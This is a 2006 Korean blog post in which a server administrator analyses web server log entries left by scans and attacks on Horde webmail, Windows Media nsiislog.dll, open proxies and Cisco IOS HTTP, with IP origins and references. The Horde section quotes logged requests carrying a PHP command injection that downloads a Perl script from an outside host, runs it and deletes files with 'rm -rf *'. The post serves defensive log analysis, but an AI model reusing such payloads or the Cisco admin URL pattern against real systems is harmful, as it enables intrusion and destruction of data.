| |
제 목 : 웹공격에 대한 웹로그들 2번째
작성자 : 좋은진호(truefeel, http://coffeenix.net/ )
작성일 : 2006.5.25(목)~
정리일 : 2006.9.18(월)
'웹공격에 대한 웹로그들'에 이은 2번째 웹로그 분석(?) 결과이다. 너무나도 많은 유형의 웹공격 로그가
그동안 남았지만 명확하게 분석하기 힘든(관련 자료를 찾아볼 수 없는) 상황이다. 이런 시점에
모든 로그를 분석 정리하는 것은 불가능한 것은 당연하고, 더 많은 분석 결과를 제공하려고 하다가는
너무나 시점이 늦어질 것 같아 일부라도 정리했다. 기존에 기록된 로그중 어떤 공격시도인지 파악이
되면 이글에 추가하도록 하겠다.
웹공격이 있을 때 실제 해킹을 당했을 가능성 여부는 이전에 썼던 글을 읽어보기 바란다.
http://coffeenix.net/board_view.php?bd_code=1352
※ 이 글 만큼은 MSIE에서 테이블이 가장 잘 표시됩니다.
1. 시스템 모니터링 툴 What's Up이 남긴 로그
| |
210.xxx.xx.xxx - - [19/Apr/2006:17:20:25 +0900] "HEAD / HTTP/1.0" 200 - "WhatsUp Professional/1.0"
210.xxx.xx.xxx - - [19/Apr/2006:17:35:33 +0900] "HEAD / HTTP/1.0" 200 - "WhatsUp Professional/1.0"
| |
- 윈도기반의 상용 모니터링 툴인 What's Up이 웹서버가 살아있는지 체크하기 위해 접속한 로그이다.
참고자료 :
* WhatsUp 홈페이지
http://www.ipswitch.com/products/whatsup/index.asp
2. 오픈소스기반 웹메일 Horde 취약점을 이용한 공격
| |
201.219.7.xx - - [24/Apr/2006:00:08:53 +0900] "GET //README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:08:54 +0900] "GET /horde//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:08:54 +0900] "GET /horde2//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:08:55 +0900] "GET /horde3//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:08:55 +0900] "GET /horde-3.0.9//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:08:56 +0900] "GET /Horde//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:08:56 +0900] "GET /mail//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:08:57 +0900] "GET /webmail//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:08:58 +0900] "GET /horde-3.0.1//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:08:58 +0900] "GET /horde-3.0.2//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:08:59 +0900] "GET /horde-3.0.3//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:08:59 +0900] "GET /horde-3.0.4//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:09:00 +0900] "GET /horde-3.0.5//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:09:00 +0900] "GET /horde-3.0.6//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:09:01 +0900] "GET /horde-3.0.7//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
201.219.7.xx - - [24/Apr/2006:00:09:01 +0900] "GET /horde-3.0.8//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
| |
| |
216.65.xx.xxx - - [30/Apr/2006:06:36:30 +0900] "GET /thisdoesnotexistahaha.php HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
216.65.xx.xxx - - [30/Apr/2006:06:36:30 +0900] "GET /horde/services/help/ HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
216.65.xx.xxx - - [30/Apr/2006:06:36:31 +0900] "GET /horde-cvs/horde/services/help/ HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
216.65.xx.xxx - - [30/Apr/2006:06:36:31 +0900] "GET /pub/horde-cvs/horde/services/help/ HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
216.65.xx.xxx - - [30/Apr/2006:06:36:35 +0900] "GET /horde/services/help/ HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
216.65.xx.xxx - - [30/Apr/2006:06:36:36 +0900] "GET /pub/horde-cvs/horde/services/help/ HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
| |
| |
196.40.xx.xxx - - [23/Jun/2006:02:05:37 +0900] "GET /horde/services/help/?show=about&module=;%22.passthru(%22killall%20-9%20perl;cd%20%22.chr(47).%22tmp;wget%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;fetch%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;perl%20h;rm%20-rf%20*%22);'. HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
196.40.xx.xxx - - [23/Jun/2006:02:05:38 +0900] "GET /services/help/services/help/?show=about&module=;%22.passthru(%22killall%20-9%20perl;cd%20%22.chr(47).%22tmp;wget%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;fetch%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;perl%20h;rm%20-rf%20*%22);'. HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
196.40.xx.xxx - - [23/Jun/2006:02:05:38 +0900] "GET /horde-cvs/horde/services/help/?show=about&module=;%22.passthru(%22killall%20-9%20perl;cd%20%22.chr(47).%22tmp;wget%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;fetch%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;perl%20h;rm%20-rf%20*%22);'. HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
196.40.xx.xxx - - [23/Jun/2006:02:05:39 +0900] "GET /pub/horde-cvs/horde/services/help/?show=about&module=;%22.passthru(%22killall%20-9%20perl;cd%20%22.chr(47).%22tmp;wget%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;fetch%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;perl%20h;rm%20-rf%20*%22);'. HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
| |
- IP : 에콰도르 (RC, 201.219.7.0/24)
미국 (216.65.0.0 - 216.65.127.255)
코스타리카(CR, 196.40.85.128/25)
참고 자료 :
3. 윈도 미디서 서비스 ISAPI nsiislog.dll POST 오버플로우 취약점을 이용한 공격
| |
202.100.xxx.xxx - - [24/Apr/2006:11:53:13 +0900] "GET /scripts/nsiislog.dll" 404 - "-"
202.100.xxx.xxx - - [24/Apr/2006:11:53:54 +0900] "GET /scripts/nsiislog.dll" 404 - "-"
| |
- IP : 중국(CN, 202.100.96.0 - 202.100.127.255)
- 2003년 6월에 나온 취약점이며, Windows 2000서버에 해당된다.
80포트로 'GET /scripts/nsiislog.dll /HTTP/1.0' 를 요청했을 때 서버에서 'NetShow ISAPI Log Dll'
값을 뿌려준다면 취약점이 있는 시스템이다.
참고자료 :
* Microsoft Media Services ISAPI nsiislog.dll POST Overflow
http://www.osvdb.org/4535
* Windows Media Services Remote Command Execution #2
http://archives.neohapsis.com/archives/bugtraq/2003-06/0211.html
* Successful attack using MS03-022 vuln
http://lists.sans.org/pipermail/unisog/2003-September/022422.html
4. proxy_scanner 툴을 이용한 Proxy scanning 로그
- IP : 중국 (CN, 211.100.32.0 - 211.100.95.255)
중국 (CN, 61.135.0.0 - 61.135.255.255)
- 2004년에 중국 해커에 의해 릴리즈된 Proxy Scanning 툴 'proxy_scanner'을 이용해서 Proxy 사용
가능여부를 확인하기 위한 요청이다.
- URL 요청 형식은 다음과 같다.
http://check.$ip_address.v.80.(pdx8|PCN22|mt1|pw1).super.proxy.scanner.(i.thu.cn|ii.9966.org)/Provy_OK.html
check...super.proxy.scanner.(i.thu.cn|ii.9966.org)의 호스트는 모두 61.135.170.153 IP로 lookup되는
것으로 보아 몇몇 IP(DNS등)만 제외하고 '* IN A 61.135.170.153'으로 DNS 설정되어 있는 것으로 보인다.
- 이 들 웹서버는 lighttpd/1.4.11을 사용한다. (80포트로 telnet해서 보면 쉽게 확인 가능)
참고자료 :
* What's a super.proxy.scanner and why is it in my logs?
http://isc.sans.org/diary.php?storyid=1298
* Proxy Probes
http://www.splunk.com/splunkbin/426
5. Cisco ISO HTTP을 통해 admin 권한을 갖을 수 있는 취약점을 이용한 공격
| |
81.225.xx.xx - - [29/Aug/2006:13:23:45 +0900] "GET /level/16/exec/show%20conf HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; PMF Master V3.0)"
| |
- IP : 스웨덴(SE, 81.224.0.0 - 81.236.255.255)
- 이전 웹로그 분석 글의 '14. Cisco Switch의 아주 예전 HTTP 취약점(2001년)을 이용한 공격'
항목을 참고하기 바란다.
- 이 취약점은 http://Switch_IP/level/$NUMBER/exec/.... URL을 이용해서 full admin권한을 갖을
수 있으며 /level/$NUMBER/exec/... 에서 $NUMBER는 16에서 99사의 숫자이다.
- Cisco Global Exploiter라는 자동화된 툴을 이용해서 CISCO의 취약점을 스캐닝하는 툴이 있다.
참고 자료 :
* Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
http://www.securityfocus.com/bid/2936
* Multiple Cisco Exploit Codes
http://www.securiteam.com/exploits/5OP0L1FCAE.html
http://downloads.securityfocus.com/vulnerabilities/exploits/ciscoMultipleVulnsExploit.pl
|
http://coffeenix.net/ )